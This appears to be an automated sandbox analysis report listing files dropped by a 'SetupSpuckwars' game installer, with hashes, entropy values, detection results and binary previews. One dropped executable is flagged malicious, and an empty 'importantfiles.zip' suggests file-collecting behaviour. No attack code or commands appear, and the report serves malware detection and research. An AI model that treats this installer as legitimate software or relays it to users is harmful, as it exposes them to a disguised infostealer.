                                                                                                                                  Preview:..............t...#.....:.I....yp....y6....y.....y#....y.....y`....ym....y.....y.....yI....y.....y'"...y.,...y.7...y;9...yv:...y(<...y.<...y.B...yfH...y.J...y.K...y.L.....M...N...aP...IS...BV...uY...]...Pa....d..&..h..'..i..(.hk..)..l..*..m..+.An..0..n..1.....2.....>.....?.....@.....A.....B.P...C.}...D.....F.9...H.r...I.I...J.....K.....L.....M.....N.6...O.....Q..%..R..(..T..1..U..4..W..>..X..H..^..M.._..N..`.mW..a.._..b..`..c.Cb..d.$d..e.Jg..g..g..i..k..j.*m..k..n..l..p..m..s..n..s..o..u..p..v..r..y..s.|{..u..~..v.<...x.....y.....~.......r..................................8................l.....;..... ......................p.....2..... .....8.....>.......................M.......................^.......................x...r.R...s.....t.....u.K...v.....w.....x.....y.+...z.~...{.....|.....}.a...~.u....._..........._...........l...................................Y.......................;.................R.................w...........6.................].................z.......

                                                                                                                                  C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\chrome_200_percent.pak

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:data
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):179971
                                                                                                                                  Entropy (8bit):7.941375268079628
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:3072:rDQYaEQN6AJPrSxQCS/qGTafR54x5GMR+F44ffbdZnYw9p4AbIVGYoDd+HxNK/r4:rDQYaNN68rC4/Ygx5GMRejnbdZnVE6YR
                                                                                                                                  MD5:48515D600258D60019C6B9C6421F79F6
                                                                                                                                  SHA1:0EF0B44641D38327A360AA6954B3B6E5AAB2AF16
                                                                                                                                  SHA-256:07BEE34E189FE9A8789AED78EA59AD41414B6E611E7D74DA62F8E6CA36AF01CE
                                                                                                                                  SHA-512:B7266BC8ABC55BD389F594DAC0C0641ECF07703F35D769B87E731B5FDF4353316D44F3782A4329B3F0E260DEAD6B114426DDB1B0FB8CD4A51E0B90635F1191D9
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:..............t...#.....:.t....y.....y.....y.....y.....y.....y.....y.%...y.*...y.-...yc5...y.9...y.A...y.V...yCk...y.m...y)o...yyr...y#s...y.}...y.....y....y....y................................K....!.......&.....'....(.Q...).....*.....+.*...0....1.....2.....>.....?.f...@..$..A..&..B..)..C.1/..D.M:..F..<..H.JD..I.-K..J..P..K..V..L..\..M..^..N.Vc..O.?g..Q..p..R..t..T.g|..U.X...W.....X.H...^....._.....`.....a.....b.b...c.....d.....e.....g.....i.....j.....k.....l.....m.....n.....o.....p.....r.....s.....u.....v.....x.....y.....~........*.....+...../.....4.....6.....8....T9.....9....~;.....=....q>.....@.....A....FD.....I.....M.....U.....].....c.....i.....o....Tu.....v.....w.....x.....y.....{.....|.....}..........?.........r.....s.U...t.....u.....v....w.....x....y.*...z.....{....|.<...}.....~.............1...........L..........z.................G...........X...........f.....*..........@.....................q...........Y..........W...........;........................

                                                                                                                                  C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\d3dcompiler_47.dll

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):4891080
                                                                                                                                  Entropy (8bit):6.392150637672776
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:49152:IuhjwXkKcimPVqB4faGCMhGNYYpQVTxx6k/ftO4w6FXKpOD21pLeXvZCoFwI8ccA:oy904wYbZCoOI85oyI
                                                                                                                                  MD5:CB9807F6CF55AD799E920B7E0F97DF99
                                                                                                                                  SHA1:BB76012DED5ACD103ADAD49436612D073D159B29
                                                                                                                                  SHA-256:5653BC7B0E2701561464EF36602FF6171C96BFFE96E4C3597359CD7ADDCBA88A
                                                                                                                                  SHA-512:F7C65BAE4EDE13616330AE46A197EBAD106920DCE6A31FD5A658DA29ED1473234CA9E2B39CC9833FF903FB6B52FF19E39E6397FAC02F005823ED366CA7A34F62
                                                                                                                                  Malicious:false
                                                                                                                                  Antivirus:
                                                                                                                                  • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                  Joe Sandbox View:
                                                                                                                                  • Filename: Setup (1).exe, Detection: malicious, Browse
                                                                                                                                  • Filename: Default Game.exe, Detection: malicious, Browse
                                                                                                                                  • Filename: GauntletVPN1.4.0.exe, Detection: malicious, Browse
                                                                                                                                  • Filename: GauntletVPN1.4.0.exe, Detection: malicious, Browse
                                                                                                                                  • Filename: Mauqes.exe, Detection: malicious, Browse
                                                                                                                                  • Filename: SecuriteInfo.com.Generic.JS.Malicord.D.02514950.1665.6783.exe, Detection: malicious, Browse
                                                                                                                                  • Filename: SecuriteInfo.com.Generic.JS.Malicord.D.02514950.1665.6783.exe, Detection: malicious, Browse
                                                                                                                                  • Filename: Sldl84wxy8.exe, Detection: malicious, Browse
                                                                                                                                  • Filename: rU6YAgkoAw.exe, Detection: malicious, Browse
                                                                                                                                  • Filename: Mauqes.exe, Detection: malicious, Browse
                                                                                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........c...c...c..Z....c...c../c....7..c.......c.......c..Z....c..Z...bc..Z....c..Z....c..Z...6c..Z.[..c..Z....c..Rich.c..................PE..d...-L............" ......8.........`.(...................................... K.....2.J...`A..........................................F.x.....F.P.....J.@.....H.......J..!....J......vD.p.....................<.(...P.<.8.............<.(............................text.....8.......8................. ..`.rdata...=....8..@....8.............@..@.data...@.....F.......F.............@....pdata........H.......G.............@..@.rsrc...@.....J.......I.............@..@.reloc........J.......I.............@..B........................................................................................................................................................................................................................................

                                                                                                                                  C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\ffmpeg.dll

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):2862080
                                                                                                                                  Entropy (8bit):6.7042588011125215
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:49152:XMoI7Qj3trgDtcfkW76fSL5Yqq6uthy4Y6NO8PyJegPTagrcjdiCOi2iNN3lzl3U:H3Kk76fUq/4TagreBOirnW
                                                                                                                                  MD5:D49E7A8F096AD4722BD0F6963E0EFC08
                                                                                                                                  SHA1:6835F12391023C0C7E3C8CC37B0496E3A93A5985
                                                                                                                                  SHA-256:F11576BF7FFBC3669D1A5364378F35A1ED0811B7831528B6C4C55B0CDC7DC014
                                                                                                                                  SHA-512:CA50C28D6AAC75F749ED62EEC8ACBB53317F6BDCEF8794759AF3FAD861446DE5B7FA31622CE67A347949ABB1098ECCB32689B4F1C54458A125BC46574AD51575
                                                                                                                                  Malicious:false
                                                                                                                                  Antivirus:
                                                                                                                                  • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                  Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...>..d.........." ......".........`.........................................B...........`A..........................................).......).(.............@.x.............A..2..D.).....................(.).(...."#.8.............).P............................text....."......."................. ..`.rdata...t....#..v....".............@..@.data...X.....*.."...n*.............@....pdata..x.....@.......*.............@..@.00cfg..(....@A......B+.............@..@.gxfg....+...PA..,...D+.............@..@.retplne\.....A......p+..................tls..........A......r+.............@....voltbl.8.....A......t+................._RDATA........A......v+.............@..@.reloc...2....A..4...x+.............@..B................................................................................................................................................................................

                                                                                                                                  C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\icudtl.dat

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:data
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):10541296
                                                                                                                                  Entropy (8bit):6.277012685259397
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:98304:ffPBQYOo+ddlymff2LfPQCvliXUxiG9Ha93Whla6ZENSs285:ffPBhORjfAHliXUxiG9Ha93Whla6ZEV7
                                                                                                                                  MD5:ADFD2A259608207F256AEADB48635645
                                                                                                                                  SHA1:300BB0AE3D6B6514FB144788643D260B602AC6A4
                                                                                                                                  SHA-256:7C8C7B05D70145120B45CCB64BF75BEE3C63FF213E3E64D092D500A96AFB8050
                                                                                                                                  SHA-512:8397E74C7A85B0A2987CAE9F2C66CE446923AA4140686D91A1E92B701E16B73A6CE459540E718858607ECB12659BEDAC0AA95C2713C811A2BC2D402691FF29DC
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:...'........CmnD........ Copyright (C) 2016 and later: Unicode, Inc. and others. License & terms of use: http://www.unicode.org/copyright.html .Q....B.......B...#...B.. $...B..p$...B...$...B...%...B..`P...C...P...C...Q..(C......<C.....OC......bC..@...uC.......C..P....C.......C.......C..p....C.. ....C.......C.......D..p... D.....3D..0...FD.....YD.....lD.......D......D..0....D.......D..p....D......D..@....D.......E......E..@...*E.....=E..P...NE......bE.....rE..@....E.......E.......E..P....E.......E......E..@....F.......F.....'F..0...7F..P...JF......aF......qF...G...F.. H...F..`K...F...K...F...L...F...-...F...c...G....'.'G....'.>G..@.'.UG..0.'.oG....'..G...!'..G...!'..G..P&'..G...)'..G..@*'..H..`.(..H...e).7H..0.).VH...)*.xH....*..H....*..H...P+..H...Y+..H...Z+..I...]+. I..`^+.9I.. .+.UI....+.lI....+..I..P.-..I...=...I.......I.......I.. ....J..p....J......-J..p...EJ......ZJ......rJ..`....J..@....J.......J.......J..0....J.......J.......J..0....K..@....K..../.2K...,/.GK..../.\K..

                                                                                                                                  C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\libEGL.dll

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):479232
                                                                                                                                  Entropy (8bit):6.320849747462847
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:12288:su0LAjbIkyVVR8O9v/6TiT5eU3axzvYwo:sub49/6TiQzvYX
                                                                                                                                  MD5:09134E6B407083BAAEDF9A8C0BCE68F2
                                                                                                                                  SHA1:8847344CCEEAB35C1CDF8637AF9BD59671B4E97D
                                                                                                                                  SHA-256:D2107BA0F4E28E35B22837C3982E53784D15348795B399AD6292D0F727986577
                                                                                                                                  SHA-512:6FF3ADCB8BE48D0B505A3C44E6550D30A8FEAF4AA108982A7992ED1820C06F49E0AD48D9BD92685FB82783DFD643629BD1FE4073300B61346B63320CBDB051BA
                                                                                                                                  Malicious:false
                                                                                                                                  Antivirus:
                                                                                                                                  • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                  Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...>..d.........." ................p.....................................................`A........................................x.......e-..(.......x........B..............$...4...........................(...@1..8............0...............................text...E........................... ..`.rdata..,....0......................@..@.data....K....... ..................@....pdata...B.......D..................@..@.00cfg..(....`......................@..@.gxfg...0$...p...&..................@..@.retplne\............4...................tls....!............6..............@....voltbl.8............8.................._RDATA...............:..............@..@.rsrc...x............<..............@..@.reloc..$............B..............@..B........................................................................................................................................

                                                                                                                                  C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\libGLESv2.dll

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):7514112
                                                                                                                                  Entropy (8bit):6.462467169487978
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:98304:BuT3g23jeZ/02YPuLaw5RoD1rfEQ3CPdOEabcgsOMdi:BuDPTwLap14QzEijsvi
                                                                                                                                  MD5:A5F1921E6DCDE9EAF42E2CCC82B3D353
                                                                                                                                  SHA1:1F6F4DF99AE475ACEC4A7D3910BADB26C15919D1
                                                                                                                                  SHA-256:50C4DC73D69B6C0189EAB56D27470EE15F99BBBC12BFD87EBE9963A7F9BA404E
                                                                                                                                  SHA-512:0C24AE7D75404ADF8682868D0EBF05F02BBF603F7DDD177CF2AF5726802D0A5AFCF539DC5D68E10DAB3FCFBA58903871C9C81054560CF08799AF1CC88F33C702
                                                                                                                                  Malicious:false
                                                                                                                                  Antivirus:
                                                                                                                                  • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                  Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...>..d.........." ......X..........L.......................................s...........`A..........................................j.....N.j.d.....r.......o.PJ............r.....$.i.......................i.(.....X.8...........P.k.......j.@....................text.....X.......X................. ..`.rdata........X.......X.............@..@.data.........k..|....k.............@....pdata..PJ....o..L...No.............@..@.00cfg..(....0r.......q.............@..@.gxfg...p*...@r..,....q.............@..@.retplne\....pr.......q..................tls....:.....r.......q.............@....voltbl.D.....r.......q................._RDATA........r.......q.............@..@.rsrc.........r.......q.............@..@.reloc........r.......q.............@..B........................................................................................................................................

                                                                                                                                  C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\resources.pak

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:data
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):5430320
                                                                                                                                  Entropy (8bit):7.995406820581218
                                                                                                                                  Encrypted:true
                                                                                                                                  SSDEEP:98304:/Zgm9tHEEIcjWbEvKfwa2sEJFz993CNh1QeHQF5qrwrw5z0uxRRrY2kuDYj9ds:RgAtkEx4EKfatyNhHwFkkrw5IcRRtkFs
                                                                                                                                  MD5:7971A016AED2FB453C87EB1B8E3F5EB2
                                                                                                                                  SHA1:92B91E352BE8209FADCF081134334DEA147E23B8
                                                                                                                                  SHA-256:9CFD5D29CDE3DE2F042E5E1DA629743A7C95C1211E1B0B001E4EEBC0F0741E06
                                                                                                                                  SHA-512:42082AC0C033655F2EDAE876425A320D96CDAEE6423B85449032C63FC0F7D30914AA3531E65428451C07912265B85F5FEE2ED0BBDB362994D3A1FA7B14186013
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:............f.R......&....h).....,...4_?...4.G...4.J...4.\...4.e...4.l...4Ho...4.u...4.w...4.y...4.}...4....4&....4H....4.....4....4.....4F....4.....4.....4[....4d....4e....4.....4.....4.....4l....4.....4.....4.....4.....4g....4.....5.....5?....5.....5.....5H....5.:...5.=..~5]D...5oE...5;F...57H...5.H...5mI...5}M...56O...5.T...5{y...5c....5.....5.....5.....5.....5.....5G....5W....<.....<Y(...<.*...<j,...<N-...<.1..,<.2..-</=...<.H../<.T..0<._...@.p...@.x...@g|...@}}...@.~...@.i...Agv...A]x...A.....A.....A'....A....A.....A.....AT....Al....A.....A.....Ao....A$....A.....A2....A=....Ae....A.....A.....AS!...A.%...AH,...Am:...AM<...A:>...A.@...AuB...A.C.. AZF...N....N.....N.....Nc....NL....N....NM....N.....O.....O}....O.....O.....O#....O.....O}....O.....Od....O4....O.....O.0...O.7...Og>...O.A..$O.W..%O.Y..&O]c..'O.d..(O.i..)O.k..*Opm..+O.x..,O(|..-Oq....O..../O....0O....1O...2Og...3O....4O....5Ot...6O....7O....8OV...9OB...:O....;Om...<O....=O....>O....?Om...@OI...AO....BO....CO....DO..

                                                                                                                                  C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\snapshot_blob.bin

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:data
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):162352
                                                                                                                                  Entropy (8bit):4.860588090157433
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:1536:uebVb91USSzM+uCPNgswpzHD41OzB965pUB8/DR9BgyLMRPoq/rX4JHj/kMKE0YC:uTgsED41OV965LXMj4zF2Xl9B
                                                                                                                                  MD5:8FEF5A96DBCC46887C3FF392CBDB1B48
                                                                                                                                  SHA1:ED592D75222B7828B7B7AAB97B83516F60772351
                                                                                                                                  SHA-256:4DE0F720C416776423ADD7ADA621DA95D0D188D574F08E36E822AD10D85C3ECE
                                                                                                                                  SHA-512:E52C7820C69863ECC1E3B552B7F20DA2AD5492B52CAC97502152EBFF45E7A45B00E6925679FD7477CDC79C68B081D6572EEED7AED773416D42C9200ACCC7230E
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:.........4D11.0.226.20-electron.0...........................................6.. ...`.......06..a........a........a........ar.......a........a..............a.D.q..........`$.........D.u..........`$.......D.y..........`$.......u.D.}..........`$.........D............`D.........D............`$.......=.D............`$.......D............`$.......D............`$.........D............`$.......D............`$......ID............`$.......D............`$.......D............`$....(Jb....D.....@..F^.!..%.`.....(Jb....H.....@..F^..`.....H...IDa........D`....D`....D`.......`.....D]...D....D`......VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa............L.........................................................................................................................................................................

                                                                                                                                  C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):162028032
                                                                                                                                  Entropy (8bit):6.733467572611259
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:1572864:mCquurbtqKajQe7vqrTU4PrCsdCXrBngPE1cG7VOWe2IkBmUgq3Fd6iU3x6VCdbm:8DAgZi
                                                                                                                                  MD5:6DE6C1C8E6ECD92A94595EBC1189C2B2
                                                                                                                                  SHA1:A9D5129A026FF6232C827281294466F7C0E5E3F2
                                                                                                                                  SHA-256:3F4BBC554C95E66A418A835FA55D1CDA8A48CFE25D7323F4D92693DE2FAEF245
                                                                                                                                  SHA-512:C518F1E3D4EDB1A3E41F0D8C9A31D17C0F6997F1638D8CAD3D6F7167A5D4020D0A467EE3919BDA6B0AE902A914F1D4E354E6F22042FC4D167C674BE853FBE95A
                                                                                                                                  Malicious:true
                                                                                                                                  Antivirus:
                                                                                                                                  • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                  Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...>..d.........."......v.....................@..........................................`...........................................D.od..e.H.T............p..,.@.............`.....:.......................:.(...`...8...........P,H......iD......................text....u.......v.................. ..`.rdata...`k......bk..|..............@..@.data....bE...L.......K.............@....pdata..,.@..p....@...V.............@..@.00cfg..(............J..............@..@.gxfg....B.......B...L..............@..@.retplne.....`...........................rodata......p...................... ..`.tls................................@....voltbl.R...............................CPADinfo8...........................@...LZMADEC............................. ..`_RDATA..............................@..@malloc_h............................ ..`.rsrc...............................@..@.reloc..`.......

                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_k0z4alqp.m44.ps1

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                  File Type:ASCII text, with no line terminators
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):60
                                                                                                                                  Entropy (8bit):4.038920595031593
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lmmg2kgd.lr0.ps1

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                  File Type:ASCII text, with no line terminators
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):60
                                                                                                                                  Entropy (8bit):4.038920595031593
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qqjc1tcg.3xx.psm1

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                  File Type:ASCII text, with no line terminators
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):60
                                                                                                                                  Entropy (8bit):4.038920595031593
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ycb4krr2.mya.psm1

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                  File Type:ASCII text, with no line terminators
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):60
                                                                                                                                  Entropy (8bit):4.038920595031593
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                  C:\Users\user\AppData\Local\Temp\ff48538d-447c-44d8-b8dd-56b91bbce6b3.tmp.node

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe
                                                                                                                                  File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):140288
                                                                                                                                  Entropy (8bit):6.055411992765344
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:3072:94PTD6FEzMju6bzJKjpEPeTOKvJhEnww+YbRYvPuq:94jQju6b9KilKvJurR8W
                                                                                                                                  MD5:04BFBFEC8DB966420FE4C7B85EBB506A
                                                                                                                                  SHA1:939BB742A354A92E1DCD3661A62D69E48030A335
                                                                                                                                  SHA-256:DA2172CE055FA47D6A0EA1C90654F530ABED33F69A74D52FAB06C4C7653B48FD
                                                                                                                                  SHA-512:4EA97A9A120ED5BEE8638E0A69561C2159FC3769062D7102167B0E92B4F1A5C002A761BD104282425F6CEE8D0E39DBE7E12AD4E4A38570C3F90F31B65072DD65
                                                                                                                                  Malicious:false
                                                                                                                                  Antivirus:
                                                                                                                                  • Antivirus: ReversingLabs, Detection: 4%
                                                                                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......L..............C.......C.....C................................"...C...............................................Rich............................PE..d....-!e.........." ...#.>..........XG....................................................`.............................................X.......<....`.......0..$............p..........p...............................@............P..........@....................text...`=.......>.................. ..`.rdata.......P.......B..............@..@.data...............................@....pdata..$....0......................@..@_RDATA..\....P......................@..@.rsrc........`......................@..@.reloc.......p......................@..B................................................................................................................................................................................

                                                                                                                                  C:\Users\user\AppData\Local\Temp\importantfiles.zip

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe
                                                                                                                                  File Type:Zip archive data (empty)
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):22
                                                                                                                                  Entropy (8bit):1.0476747992754052
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:3:pjt/l:Nt
                                                                                                                                  MD5:76CDB2BAD9582D23C1F6F4D868218D6C
                                                                                                                                  SHA1:B04F3EE8F5E43FA3B162981B50BB72FE1ACABB33
                                                                                                                                  SHA-256:8739C76E681F900923B900C9DF0EF75CF421D39CABB54650C4B9AD19B6A76D85
                                                                                                                                  SHA-512:5E2F959F36B66DF0580A94F384C5FC1CEEEC4B2A3925F062D7B68F21758B86581AC2ADCFDDE73A171A28496E758EF1B23CA4951C05455CDAE9357CC3B5A5825F
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:PK....................

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\LICENSE.electron.txt

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:ASCII text
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):1096
                                                                                                                                  Entropy (8bit):5.13006727705212
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:24:36DiJHxRHuyPP3GtIHw1Gg9QH+sUW8Ok4F+d1o36qjFD:36DiJzfPvGt7ICQH+sfIte36AFD
                                                                                                                                  MD5:4D42118D35941E0F664DDDBD83F633C5
                                                                                                                                  SHA1:2B21EC5F20FE961D15F2B58EFB1368E66D202E5C
                                                                                                                                  SHA-256:5154E165BD6C2CC0CFBCD8916498C7ABAB0497923BAFCD5CB07673FE8480087D
                                                                                                                                  SHA-512:3FFBBA2E4CD689F362378F6B0F6060571F57E228D3755BDD308283BE6CBBEF8C2E84BEB5FCF73E0C3C81CD944D01EE3FCF141733C4D8B3B0162E543E0B9F3E63
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:Copyright (c) Electron contributors.Copyright (c) 2013-2020 GitHub Inc...Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the."Software"), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND.NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE.LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION.OF CONTRACT, TORT OR OTHERWISE, ARISIN

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\LICENSES.chromium.html

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:HTML document, ASCII text
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):6766160
                                                                                                                                  Entropy (8bit):4.735324161006094
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:24576:d7rs5kjWSnB3lWNeUmf0f6W6M6q6A6r/HXpErpem:rovj
                                                                                                                                  MD5:180F8ACC70405077BADC751453D13625
                                                                                                                                  SHA1:35DC54ACAD60A98AEEC47C7ADE3E6A8C81F06883
                                                                                                                                  SHA-256:0BFA9A636E722107B6192FF35C365D963A54E1DE8A09C8157680E8D0FBBFBA1C
                                                                                                                                  SHA-512:40D3358B35EB0445127C70DEB0CB87EC1313ECA285307CDA168605A4FD3D558B4BE9EB24A59568ECA9EE1F761E578C39B2DEF63AD48E40D31958DB82F128E0EC
                                                                                                                                  Malicious:false
